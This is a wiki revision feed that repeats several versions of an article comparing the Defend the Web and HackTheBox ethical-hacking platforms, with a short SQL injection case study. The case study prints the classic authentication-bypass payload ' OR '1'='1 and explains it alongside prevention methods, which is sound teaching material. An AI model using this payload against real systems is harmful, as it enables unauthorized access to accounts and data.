===User-Friendliness and Interface===&lt;br /&gt;
DtW excels in simplicity and user-friendliness, with an intuitive interface that makes navigation easy for inexperienced users. HtB, while visually appealing, may be daunting for beginners due to its advanced functionality.&lt;br /&gt;
&lt;br /&gt;
===Community and Support===&lt;br /&gt;
DtW’s community is small but supportive, fostering a welcoming environment for learners. HtB boasts a large, active community that facilitates knowledge sharing, collaboration, and competition.&lt;br /&gt;
&lt;br /&gt;
===Gamification and Reward System===&lt;br /&gt;
Both platforms leverage gamification to engage users. DtW uses points and badges to motivate participants, while HtB offers a more sophisticated system with leaderboards and global rankings.&lt;br /&gt;
&lt;br /&gt;
===Cost Structure===&lt;br /&gt;
DtW is mostly free, with optional paid features for advanced content. HtB offers a mix of free and premium content, with paid subscriptions required for advanced labs and certifications.&lt;br /&gt;
&lt;br /&gt;
== SQL-Injection: A Case Study ==&lt;br /&gt;
&lt;br /&gt;
SQL Injection (SQLi) remains a pervasive cybersecurity threat, allowing attackers to manipulate databases by injecting malicious SQL commands. It ranks among the OWASP Top 10 vulnerabilities due to its simplicity and impact.&lt;br /&gt;
&lt;br /&gt;
=== How SQL-Injection works ===&lt;br /&gt;
&lt;br /&gt;
SQLi exploits improper input validation to alter the structure of SQL queries. For example:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;SQL&amp;quot;&amp;gt;&lt;br /&gt;
SELECT * FROM users WHERE username = &#039;user&#039; AND password = &#039;password&#039;;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
An attacker might input:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;SQL&amp;quot;&amp;gt;&lt;br /&gt;
&#039; OR &#039;1&#039;=&#039;1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
This changes the query to:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;SQL&amp;quot;&amp;gt;&lt;br /&gt;
SELECT * FROM users WHERE username = &#039;&#039; OR &#039;1&#039;=&#039;1&#039; AND password = &#039;password&#039;;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
The condition &#039;1&#039;=&#039;1&#039; always evaluates as true, bypassing authentication.&lt;br /&gt;
&lt;br /&gt;
=== Types of SQL-Injection ===&lt;br /&gt;
&lt;br /&gt;
*&#039;&#039;&#039;In-Band SQLi&#039;&#039;&#039;: Uses the same channel for attack and data retrieval.&lt;br /&gt;
*&#039;&#039;&#039;Blind SQLi&#039;&#039;&#039;: Infers information through application behavior or response times.&lt;br /&gt;
*&#039;&#039;&#039;Stored SQLi&#039;&#039;&#039;: Embeds malicious SQL code in the database for later execution.&lt;br /&gt;
&lt;br /&gt;
=== Prevention Methods ===&lt;br /&gt;
&lt;br /&gt;
*Input validation and sanitization.&lt;br /&gt;
*Parameterized queries and prepared statements.&lt;br /&gt;
*Least privilege principles for database access.&lt;br /&gt;
*Web application firewalls (WAFs).&lt;br /&gt;
*Regular security audits and updates.&lt;br /&gt;
&lt;br /&gt;
== Conclusion ==&lt;br /&gt;
&lt;br /&gt;
Defend the Web and HackTheBox offer complementary approaches to ethical hacking training. DtW provides an excellent starting point for beginners, focusing on foundational knowledge and accessibility. HtB challenges advanced users with complex scenarios and broad subject matter.&lt;br /&gt;
&lt;br /&gt;
Integrating both platforms in a learning pathway—starting with DtW and progressing to HtB—enables learners to build a robust skillset, addressing the growing demand for cybersecurity expertise in an evolving threat landscape.&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://defendtheweb.net&lt;br /&gt;
* https://owasp.org/www-project-top-ten/&lt;br /&gt;
* https://www.hackthebox.com&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>CNinaus</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Defend_the_Web_vs._HackTheBox&amp;diff=17700</id>
		<title>Defend the Web vs. HackTheBox</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Defend_the_Web_vs._HackTheBox&amp;diff=17700"/>
		<updated>2024-12-18T21:17:44Z</updated>

		<summary type="html">&lt;p&gt;CNinaus: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[File:DefendTheWeb.png|thumb|Logo of Defend the Web]]&lt;br /&gt;
[[File:HackTheBoxLogo.png|thumb|Logo of HackTheBox]]&lt;br /&gt;
== Introduction ==&lt;br /&gt;
The increasing prevalence of cyberattacks in today&#039;s interconnected world highlights the urgent need for skilled cybersecurity professionals. With data breaches, ransomware, and other cybercrimes on the rise, organizations must prioritize robust security measures. Ethical hacking, or white-hat hacking, has become a cornerstone of modern cybersecurity, empowering professionals to identify and mitigate vulnerabilities before they are exploited by malicious actors.&lt;br /&gt;
&lt;br /&gt;
Platforms like Defend the Web (DtW) and HackTheBox (HtB) have gained prominence as practical training tools in cybersecurity. These platforms simulate real-world attack scenarios, offering users the opportunity to hone their skills in a controlled environment. While both platforms aim to enhance cybersecurity expertise, they differ in approach, focus, and target audience. This article provides a comprehensive analysis of DtW and HtB, examining their unique features and contributions to the field of ethical hacking.&lt;br /&gt;
&lt;br /&gt;
== Background Information ==&lt;br /&gt;
&lt;br /&gt;
=== Webapplication Security ===&lt;br /&gt;
&lt;br /&gt;
Web applications are integral to modern businesses, enabling e-commerce, online banking, and enterprise collaboration. However, their widespread use makes them prime targets for cyberattacks. Common vulnerabilities such as SQL Injection (SQLi), Cross-Site Scripting (XSS), and Cross-Site Request Forgery (CSRF) pose significant threats to sensitive data and system integrity.&lt;br /&gt;
&lt;br /&gt;
Ethical hacking platforms like DtW and HtB play a crucial role in strengthening web application security. By providing hands-on training in identifying and mitigating vulnerabilities, these platforms bridge the gap between theoretical knowledge and practical application.&lt;br /&gt;
&lt;br /&gt;
=== Penetration Testing ===&lt;br /&gt;
&lt;br /&gt;
Penetration testing, or pentesting, is a methodology for assessing system security by simulating real-world attacks. It involves identifying vulnerabilities, evaluating their potential impact, and recommending corrective actions. Key principles of web application security include:&lt;br /&gt;
&lt;br /&gt;
*&#039;&#039;&#039;Authentication&#039;&#039;&#039;: Verifying user identities.&lt;br /&gt;
*&#039;&#039;&#039;Authorization&#039;&#039;&#039;: Managing user permissions.&lt;br /&gt;
*&#039;&#039;&#039;Confidentiality, Integrity, and Availability (CIA Triad)&#039;&#039;&#039;: Ensuring data protection, accuracy, and accessibility.&lt;br /&gt;
&lt;br /&gt;
These principles are foundational to ethical hacking and are actively explored in DtW and HtB.&lt;br /&gt;
&lt;br /&gt;
== Overview of the Platforms ==&lt;br /&gt;
&lt;br /&gt;
=== Defend the Web ===&lt;br /&gt;
&lt;br /&gt;
Defend the Web is an interactive learning platform designed for beginners and intermediate users. It focuses on web application security, offering challenges that cover fundamental concepts such as HTML, SQL Injection, and encryption. The platform provides a structured, step-by-step learning approach, making it an ideal starting point for those new to cybersecurity.&lt;br /&gt;
&lt;br /&gt;
Key features of DtW include:&lt;br /&gt;
&lt;br /&gt;
*Beginner-Friendly Challenges: Covers basic to intermediate topics.&lt;br /&gt;
*Focus on Education: Emphasizes understanding vulnerabilities and implementing defenses.&lt;br /&gt;
*Community Support: Small but engaged community providing guidance.&lt;br /&gt;
&lt;br /&gt;
The platform&#039;s primary goal is to promote responsible cybersecurity practices, enabling users to secure systems and contribute to a safer internet.&lt;br /&gt;
&lt;br /&gt;
=== HackTheBox ===&lt;br /&gt;
&lt;br /&gt;
HackTheBox caters to a more advanced audience, including cybersecurity professionals and enthusiasts seeking challenging, real-world scenarios. Known for its gamified environment, HtB offers a broad range of topics, including:&lt;br /&gt;
&lt;br /&gt;
*Web exploitation&lt;br /&gt;
*Cryptography&lt;br /&gt;
*Reverse engineering&lt;br /&gt;
*Privilege escalation&lt;br /&gt;
&lt;br /&gt;
Notable features of HtB are:&lt;br /&gt;
&lt;br /&gt;
*&#039;&#039;&#039;Proving Grounds&#039;&#039;&#039;: Real-world lab simulations for enterprise-level environments.&lt;br /&gt;
*&#039;&#039;&#039;Gamification&#039;&#039;&#039;: Leaderboards, badges, and competitive challenges.&lt;br /&gt;
*&#039;&#039;&#039;Active Community&#039;&#039;&#039;: Extensive forums and Discord channels for collaboration.&lt;br /&gt;
&lt;br /&gt;
HtB also provides certifications like the HackTheBox Certified Penetration Testing Specialist (CPTS), further solidifying its role as a comprehensive training resource.&lt;br /&gt;
&lt;br /&gt;
== Comparison Criteria ==&lt;br /&gt;
&lt;br /&gt;
The following sections explore key aspects of DtW and HtB, highlighting their differences and unique contributions.&lt;br /&gt;
&lt;br /&gt;
===Target Audience===&lt;br /&gt;
DtW primarily serves beginners and intermediate users, providing an accessible entry point into ethical hacking. Its structured approach appeals to students and enthusiasts seeking to build foundational knowledge.&lt;br /&gt;
&lt;br /&gt;
HtB, on the other hand, targets advanced users, including penetration testers, red teamers, and cybersecurity professionals. Its challenging scenarios and broad subject matter cater to those seeking to deepen their expertise.&lt;br /&gt;
&lt;br /&gt;
===Learning Approach===&lt;br /&gt;
DtW offers a linear, guided learning experience. Users progress through clearly defined challenges, building their knowledge step by step. This structured approach is ideal for beginners.&lt;br /&gt;
&lt;br /&gt;
HtB adopts a self-directed approach, encouraging users to solve problems independently. While walkthroughs are available, the platform emphasizes creativity, research, and trial-and-error learning. This makes it well-suited for experienced users.&lt;br /&gt;
&lt;br /&gt;
===Challenge Variety===&lt;br /&gt;
DtW focuses on web application security, with challenges covering essential topics like SQL Injection, XSS, and password encryption.&lt;br /&gt;
&lt;br /&gt;
HtB offers a broader range of challenges, including network penetration, reverse engineering, and cryptography. Its virtual labs simulate complex corporate environments, providing a comprehensive learning experience.&lt;br /&gt;
&lt;br /&gt;
===Difficulty Level===&lt;br /&gt;
DtW features beginner-friendly challenges with a gradual increase in complexity. In contrast, HtB is renowned for its advanced challenges, which can be overwhelming for newcomers but rewarding for seasoned professionals.&lt;br /&gt;
&lt;br /&gt;
===User-Friendliness and Interface===&lt;br /&gt;
DtW excels in simplicity and user-friendliness, with an intuitive interface that makes navigation easy for inexperienced users. HtB, while visually appealing, may be daunting for beginners due to its advanced functionality.&lt;br /&gt;
&lt;br /&gt;
===Community and Support===&lt;br /&gt;
DtW’s community is small but supportive, fostering a welcoming environment for learners. HtB boasts a large, active community that facilitates knowledge sharing, collaboration, and competition.&lt;br /&gt;
&lt;br /&gt;
===Gamification and Reward System===&lt;br /&gt;
Both platforms leverage gamification to engage users. DtW uses points and badges to motivate participants, while HtB offers a more sophisticated system with leaderboards and global rankings.&lt;br /&gt;
&lt;br /&gt;
===Cost Structure===&lt;br /&gt;
DtW is mostly free, with optional paid features for advanced content. HtB offers a mix of free and premium content, with paid subscriptions required for advanced labs and certifications.&lt;br /&gt;
&lt;br /&gt;
== SQL-Injection: A Case Study ==&lt;br /&gt;
&lt;br /&gt;
SQL Injection (SQLi) remains a pervasive cybersecurity threat, allowing attackers to manipulate databases by injecting malicious SQL commands. It ranks among the OWASP Top 10 vulnerabilities due to its simplicity and impact.&lt;br /&gt;
&lt;br /&gt;
=== How SQL-Injection works ===&lt;br /&gt;
&lt;br /&gt;
SQLi exploits improper input validation to alter the structure of SQL queries. For example:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;SQL&amp;quot;&amp;gt;&lt;br /&gt;
SELECT * FROM users WHERE username = &#039;user&#039; AND password = &#039;password&#039;;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
An attacker might input:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;SQL&amp;quot;&amp;gt;&lt;br /&gt;
&#039; OR &#039;1&#039;=&#039;1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
This changes the query to:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;SQL&amp;quot;&amp;gt;&lt;br /&gt;
SELECT * FROM users WHERE username = &#039;&#039; OR &#039;1&#039;=&#039;1&#039; AND password = &#039;password&#039;;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
The condition &#039;1&#039;=&#039;1&#039; always evaluates as true, bypassing authentication.&lt;br /&gt;
&lt;br /&gt;
=== Types of SQL-Injection ===&lt;br /&gt;
&lt;br /&gt;
*&#039;&#039;&#039;In-Band SQLi&#039;&#039;&#039;: Uses the same channel for attack and data retrieval.&lt;br /&gt;
*&#039;&#039;&#039;Blind SQLi&#039;&#039;&#039;: Infers information through application behavior or response times.&lt;br /&gt;
*&#039;&#039;&#039;Stored SQLi&#039;&#039;&#039;: Embeds malicious SQL code in the database for later execution.&lt;br /&gt;
&lt;br /&gt;
=== Prevention Methods ===&lt;br /&gt;
&lt;br /&gt;
*Input validation and sanitization.&lt;br /&gt;
*Parameterized queries and prepared statements.&lt;br /&gt;
*Least privilege principles for database access.&lt;br /&gt;
*Web application firewalls (WAFs).&lt;br /&gt;
*Regular security audits and updates.&lt;br /&gt;
&lt;br /&gt;
== Conclusion ==&lt;br /&gt;
&lt;br /&gt;
Defend the Web and HackTheBox offer complementary approaches to ethical hacking training. DtW provides an excellent starting point for beginners, focusing on foundational knowledge and accessibility. HtB challenges advanced users with complex scenarios and broad subject matter.&lt;br /&gt;
&lt;br /&gt;
Integrating both platforms in a learning pathway—starting with DtW and progressing to HtB—enables learners to build a robust skillset, addressing the growing demand for cybersecurity expertise in an evolving threat landscape.&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://defendtheweb.net&lt;br /&gt;
* https://owasp.org/www-project-top-ten/&lt;br /&gt;
* https://www.hackthebox.com&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>CNinaus</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Defend_the_Web_vs._HackTheBox&amp;diff=17656</id>
		<title>Defend the Web vs. HackTheBox</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Defend_the_Web_vs._HackTheBox&amp;diff=17656"/>
		<updated>2024-12-18T20:10:12Z</updated>

		<summary type="html">&lt;p&gt;CNinaus: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[File:DefendTheWeb.png|thumb|Logo of Defend the Web]]&lt;br /&gt;
[[File:HackTheBoxLogo.png|thumb|Logo of HackTheBox]]&lt;br /&gt;
== Introduction ==&lt;br /&gt;
The increasing prevalence of cyberattacks in today&#039;s interconnected world highlights the urgent need for skilled cybersecurity professionals. With data breaches, ransomware, and other cybercrimes on the rise, organizations must prioritize robust security measures. Ethical hacking, or white-hat hacking, has become a cornerstone of modern cybersecurity, empowering professionals to identify and mitigate vulnerabilities before they are exploited by malicious actors.&lt;br /&gt;
&lt;br /&gt;
Platforms like Defend the Web (DtW) and HackTheBox (HtB) have gained prominence as practical training tools in cybersecurity. These platforms simulate real-world attack scenarios, offering users the opportunity to hone their skills in a controlled environment. While both platforms aim to enhance cybersecurity expertise, they differ in approach, focus, and target audience. This article provides a comprehensive analysis of DtW and HtB, examining their unique features and contributions to the field of ethical hacking.&lt;br /&gt;
&lt;br /&gt;
== Background Information ==&lt;br /&gt;
&lt;br /&gt;
=== Webapplication Security ===&lt;br /&gt;
&lt;br /&gt;
Web applications are integral to modern businesses, enabling e-commerce, online banking, and enterprise collaboration. However, their widespread use makes them prime targets for cyberattacks. Common vulnerabilities such as SQL Injection (SQLi), Cross-Site Scripting (XSS), and Cross-Site Request Forgery (CSRF) pose significant threats to sensitive data and system integrity.&lt;br /&gt;
&lt;br /&gt;
Ethical hacking platforms like DtW and HtB play a crucial role in strengthening web application security. By providing hands-on training in identifying and mitigating vulnerabilities, these platforms bridge the gap between theoretical knowledge and practical application.&lt;br /&gt;
&lt;br /&gt;
=== Penetration Testing ===&lt;br /&gt;
&lt;br /&gt;
Penetration testing, or pentesting, is a methodology for assessing system security by simulating real-world attacks. It involves identifying vulnerabilities, evaluating their potential impact, and recommending corrective actions. Key principles of web application security include:&lt;br /&gt;
&lt;br /&gt;
*&#039;&#039;&#039;Authentication&#039;&#039;&#039;: Verifying user identities.&lt;br /&gt;
*&#039;&#039;&#039;Authorization&#039;&#039;&#039;: Managing user permissions.&lt;br /&gt;
*&#039;&#039;&#039;Confidentiality, Integrity, and Availability (CIA Triad)&#039;&#039;&#039;: Ensuring data protection, accuracy, and accessibility.&lt;br /&gt;
&lt;br /&gt;
These principles are foundational to ethical hacking and are actively explored in DtW and HtB.&lt;br /&gt;
&lt;br /&gt;
== Overview of the Platforms ==&lt;br /&gt;
&lt;br /&gt;
=== Defend the Web ===&lt;br /&gt;
&lt;br /&gt;
Defend the Web is an interactive learning platform designed for beginners and intermediate users. It focuses on web application security, offering challenges that cover fundamental concepts such as HTML, SQL Injection, and encryption. The platform provides a structured, step-by-step learning approach, making it an ideal starting point for those new to cybersecurity.&lt;br /&gt;
&lt;br /&gt;
Key features of DtW include:&lt;br /&gt;
&lt;br /&gt;
*Beginner-Friendly Challenges: Covers basic to intermediate topics.&lt;br /&gt;
*Focus on Education: Emphasizes understanding vulnerabilities and implementing defenses.&lt;br /&gt;
*Community Support: Small but engaged community providing guidance.&lt;br /&gt;
&lt;br /&gt;
The platform&#039;s primary goal is to promote responsible cybersecurity practices, enabling users to secure systems and contribute to a safer internet.&lt;br /&gt;
&lt;br /&gt;
=== HackTheBox ===&lt;br /&gt;
&lt;br /&gt;
HackTheBox caters to a more advanced audience, including cybersecurity professionals and enthusiasts seeking challenging, real-world scenarios. Known for its gamified environment, HtB offers a broad range of topics, including:&lt;br /&gt;
&lt;br /&gt;
*Web exploitation&lt;br /&gt;
*Cryptography&lt;br /&gt;
*Reverse engineering&lt;br /&gt;
*Privilege escalation&lt;br /&gt;
&lt;br /&gt;
Notable features of HtB are:&lt;br /&gt;
&lt;br /&gt;
*&#039;&#039;&#039;Proving Grounds&#039;&#039;&#039;: Real-world lab simulations for enterprise-level environments.&lt;br /&gt;
*&#039;&#039;&#039;Gamification&#039;&#039;&#039;: Leaderboards, badges, and competitive challenges.&lt;br /&gt;
*&#039;&#039;&#039;Active Community&#039;&#039;&#039;: Extensive forums and Discord channels for collaboration.&lt;br /&gt;
&lt;br /&gt;
HtB also provides certifications like the HackTheBox Certified Penetration Testing Specialist (CPTS), further solidifying its role as a comprehensive training resource.&lt;br /&gt;
&lt;br /&gt;
== Comparison Criteria ==&lt;br /&gt;
&lt;br /&gt;
The following sections explore key aspects of DtW and HtB, highlighting their differences and unique contributions.&lt;br /&gt;
&lt;br /&gt;
===&#039;&#039;&#039;Target Audience&#039;&#039;&#039;===&lt;br /&gt;
DtW primarily serves beginners and intermediate users, providing an accessible entry point into ethical hacking. Its structured approach appeals to students and enthusiasts seeking to build foundational knowledge.&lt;br /&gt;
&lt;br /&gt;
HtB, on the other hand, targets advanced users, including penetration testers, red teamers, and cybersecurity professionals. Its challenging scenarios and broad subject matter cater to those seeking to deepen their expertise.&lt;br /&gt;
&lt;br /&gt;
===&#039;&#039;&#039;Learning Approach&#039;&#039;&#039;===&lt;br /&gt;
DtW offers a linear, guided learning experience. Users progress through clearly defined challenges, building their knowledge step by step. This structured approach is ideal for beginners.&lt;br /&gt;
&lt;br /&gt;
HtB adopts a self-directed approach, encouraging users to solve problems independently. While walkthroughs are available, the platform emphasizes creativity, research, and trial-and-error learning. This makes it well-suited for experienced users.&lt;br /&gt;
&lt;br /&gt;
===&#039;&#039;&#039;Challenge Variety&#039;&#039;&#039;===&lt;br /&gt;
DtW focuses on web application security, with challenges covering essential topics like SQL Injection, XSS, and password encryption.&lt;br /&gt;
&lt;br /&gt;
HtB offers a broader range of challenges, including network penetration, reverse engineering, and cryptography. Its virtual labs simulate complex corporate environments, providing a comprehensive learning experience.&lt;br /&gt;
&lt;br /&gt;
===&#039;&#039;&#039;Difficulty Level&#039;&#039;&#039;===&lt;br /&gt;
DtW features beginner-friendly challenges with a gradual increase in complexity. In contrast, HtB is renowned for its advanced challenges, which can be overwhelming for newcomers but rewarding for seasoned professionals.&lt;br /&gt;
&lt;br /&gt;
===&#039;&#039;&#039;User-Friendliness and Interface&#039;&#039;&#039;===&lt;br /&gt;
DtW excels in simplicity and user-friendliness, with an intuitive interface that makes navigation easy for inexperienced users. HtB, while visually appealing, may be daunting for beginners due to its advanced functionality.&lt;br /&gt;
&lt;br /&gt;
===&#039;&#039;&#039;Community and Support&#039;&#039;&#039;===&lt;br /&gt;
DtW’s community is small but supportive, fostering a welcoming environment for learners. HtB boasts a large, active community that facilitates knowledge sharing, collaboration, and competition.&lt;br /&gt;
&lt;br /&gt;
===&#039;&#039;&#039;Gamification and Reward System&#039;&#039;&#039;===&lt;br /&gt;
Both platforms leverage gamification to engage users. DtW uses points and badges to motivate participants, while HtB offers a more sophisticated system with leaderboards and global rankings.&lt;br /&gt;
&lt;br /&gt;
===&#039;&#039;&#039;Cost Structure&#039;&#039;&#039;===&lt;br /&gt;
DtW is mostly free, with optional paid features for advanced content. HtB offers a mix of free and premium content, with paid subscriptions required for advanced labs and certifications.&lt;br /&gt;
&lt;br /&gt;
== SQL-Injection: A Case Study ==&lt;br /&gt;
&lt;br /&gt;
SQL Injection (SQLi) remains a pervasive cybersecurity threat, allowing attackers to manipulate databases by injecting malicious SQL commands. It ranks among the OWASP Top 10 vulnerabilities due to its simplicity and impact.&lt;br /&gt;
&lt;br /&gt;
=== How SQL-Injection works ===&lt;br /&gt;
&lt;br /&gt;
SQLi exploits improper input validation to alter the structure of SQL queries. For example:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;SQL&amp;quot;&amp;gt;&lt;br /&gt;
SELECT * FROM users WHERE username = &#039;user&#039; AND password = &#039;password&#039;;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
An attacker might input:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;SQL&amp;quot;&amp;gt;&lt;br /&gt;
&#039; OR &#039;1&#039;=&#039;1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
This changes the query to:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;SQL&amp;quot;&amp;gt;&lt;br /&gt;
SELECT * FROM users WHERE username = &#039;&#039; OR &#039;1&#039;=&#039;1&#039; AND password = &#039;password&#039;;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
The condition &#039;1&#039;=&#039;1&#039; always evaluates as true, bypassing authentication.&lt;br /&gt;
&lt;br /&gt;
=== Types of SQL-Injection ===&lt;br /&gt;
&lt;br /&gt;
*&#039;&#039;&#039;In-Band SQLi&#039;&#039;&#039;: Uses the same channel for attack and data retrieval.&lt;br /&gt;
*&#039;&#039;&#039;Blind SQLi&#039;&#039;&#039;: Infers information through application behavior or response times.&lt;br /&gt;
*&#039;&#039;&#039;Stored SQLi&#039;&#039;&#039;: Embeds malicious SQL code in the database for later execution.&lt;br /&gt;
&lt;br /&gt;
=== Prevention Methods ===&lt;br /&gt;
&lt;br /&gt;
*Input validation and sanitization.&lt;br /&gt;
*Parameterized queries and prepared statements.&lt;br /&gt;
*Least privilege principles for database access.&lt;br /&gt;
*Web application firewalls (WAFs).&lt;br /&gt;
*Regular security audits and updates.&lt;br /&gt;
&lt;br /&gt;
== Conclusion ==&lt;br /&gt;
&lt;br /&gt;
Defend the Web and HackTheBox offer complementary approaches to ethical hacking training. DtW provides an excellent starting point for beginners, focusing on foundational knowledge and accessibility. HtB challenges advanced users with complex scenarios and broad subject matter.&lt;br /&gt;
&lt;br /&gt;
Integrating both platforms in a learning pathway—starting with DtW and progressing to HtB—enables learners to build a robust skillset, addressing the growing demand for cybersecurity expertise in an evolving threat landscape.&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://defendtheweb.net&lt;br /&gt;
* https://owasp.org/www-project-top-ten/&lt;br /&gt;
* https://www.hackthebox.com&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>CNinaus</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Defend_the_Web_vs._HackTheBox&amp;diff=17654</id>
		<title>Defend the Web vs. HackTheBox</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Defend_the_Web_vs._HackTheBox&amp;diff=17654"/>
		<updated>2024-12-18T20:08:42Z</updated>

		<summary type="html">&lt;p&gt;CNinaus: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[File:DefendTheWeb.png|thumb|Logo of Defend the Web]]&lt;br /&gt;
[[File:HackTheBoxLogo.png|thumb|Logo of HackTheBox]]&lt;br /&gt;
== Introduction ==&lt;br /&gt;
The increasing prevalence of cyberattacks in today&#039;s interconnected world highlights the urgent need for skilled cybersecurity professionals. With data breaches, ransomware, and other cybercrimes on the rise, organizations must prioritize robust security measures. Ethical hacking, or white-hat hacking, has become a cornerstone of modern cybersecurity, empowering professionals to identify and mitigate vulnerabilities before they are exploited by malicious actors.&lt;br /&gt;
&lt;br /&gt;
Platforms like Defend the Web (DtW) and HackTheBox (HtB) have gained prominence as practical training tools in cybersecurity. These platforms simulate real-world attack scenarios, offering users the opportunity to hone their skills in a controlled environment. While both platforms aim to enhance cybersecurity expertise, they differ in approach, focus, and target audience. This article provides a comprehensive analysis of DtW and HtB, examining their unique features and contributions to the field of ethical hacking.&lt;br /&gt;
&lt;br /&gt;
== Background Information ==&lt;br /&gt;
&lt;br /&gt;
=== Webapplication Security ===&lt;br /&gt;
&lt;br /&gt;
Web applications are integral to modern businesses, enabling e-commerce, online banking, and enterprise collaboration. However, their widespread use makes them prime targets for cyberattacks. Common vulnerabilities such as SQL Injection (SQLi), Cross-Site Scripting (XSS), and Cross-Site Request Forgery (CSRF) pose significant threats to sensitive data and system integrity.&lt;br /&gt;
&lt;br /&gt;
Ethical hacking platforms like DtW and HtB play a crucial role in strengthening web application security. By providing hands-on training in identifying and mitigating vulnerabilities, these platforms bridge the gap between theoretical knowledge and practical application.&lt;br /&gt;
&lt;br /&gt;
=== Penetration Testing ===&lt;br /&gt;
&lt;br /&gt;
Penetration testing, or pentesting, is a methodology for assessing system security by simulating real-world attacks. It involves identifying vulnerabilities, evaluating their potential impact, and recommending corrective actions. Key principles of web application security include:&lt;br /&gt;
&lt;br /&gt;
*&#039;&#039;&#039;Authentication&#039;&#039;&#039;: Verifying user identities.&lt;br /&gt;
*&#039;&#039;&#039;Authorization&#039;&#039;&#039;: Managing user permissions.&lt;br /&gt;
*&#039;&#039;&#039;Confidentiality, Integrity, and Availability (CIA Triad)&#039;&#039;&#039;: Ensuring data protection, accuracy, and accessibility.&lt;br /&gt;
&lt;br /&gt;
These principles are foundational to ethical hacking and are actively explored in DtW and HtB.&lt;br /&gt;
&lt;br /&gt;
== Overview of the Platforms ==&lt;br /&gt;
&lt;br /&gt;
=== Defend the Web ===&lt;br /&gt;
&lt;br /&gt;
Defend the Web is an interactive learning platform designed for beginners and intermediate users. It focuses on web application security, offering challenges that cover fundamental concepts such as HTML, SQL Injection, and encryption. The platform provides a structured, step-by-step learning approach, making it an ideal starting point for those new to cybersecurity.&lt;br /&gt;
&lt;br /&gt;
Key features of DtW include:&lt;br /&gt;
&lt;br /&gt;
*Beginner-Friendly Challenges: Covers basic to intermediate topics.&lt;br /&gt;
*Focus on Education: Emphasizes understanding vulnerabilities and implementing defenses.&lt;br /&gt;
*Community Support: Small but engaged community providing guidance.&lt;br /&gt;
&lt;br /&gt;
The platform&#039;s primary goal is to promote responsible cybersecurity practices, enabling users to secure systems and contribute to a safer internet.&lt;br /&gt;
&lt;br /&gt;
=== HackTheBox ===&lt;br /&gt;
&lt;br /&gt;
HackTheBox caters to a more advanced audience, including cybersecurity professionals and enthusiasts seeking challenging, real-world scenarios. Known for its gamified environment, HtB offers a broad range of topics, including:&lt;br /&gt;
&lt;br /&gt;
*Web exploitation&lt;br /&gt;
*Cryptography&lt;br /&gt;
*Reverse engineering&lt;br /&gt;
*Privilege escalation&lt;br /&gt;
&lt;br /&gt;
Notable features of HtB are:&lt;br /&gt;
&lt;br /&gt;
*Proving Grounds: Real-world lab simulations for enterprise-level environments.&lt;br /&gt;
*Gamification: Leaderboards, badges, and competitive challenges.&lt;br /&gt;
*Active Community: Extensive forums and Discord channels for collaboration.&lt;br /&gt;
&lt;br /&gt;
HtB also provides certifications like the HackTheBox Certified Penetration Testing Specialist (CPTS), further solidifying its role as a comprehensive training resource.&lt;br /&gt;
&lt;br /&gt;
== Comparison Criteria ==&lt;br /&gt;
&lt;br /&gt;
The following sections explore key aspects of DtW and HtB, highlighting their differences and unique contributions.&lt;br /&gt;
&lt;br /&gt;
===&#039;&#039;&#039;Target Audience&#039;&#039;&#039;===&lt;br /&gt;
DtW primarily serves beginners and intermediate users, providing an accessible entry point into ethical hacking. Its structured approach appeals to students and enthusiasts seeking to build foundational knowledge.&lt;br /&gt;
&lt;br /&gt;
HtB, on the other hand, targets advanced users, including penetration testers, red teamers, and cybersecurity professionals. Its challenging scenarios and broad subject matter cater to those seeking to deepen their expertise.&lt;br /&gt;
&lt;br /&gt;
===&#039;&#039;&#039;Learning Approach&#039;&#039;&#039;===&lt;br /&gt;
DtW offers a linear, guided learning experience. Users progress through clearly defined challenges, building their knowledge step by step. This structured approach is ideal for beginners.&lt;br /&gt;
&lt;br /&gt;
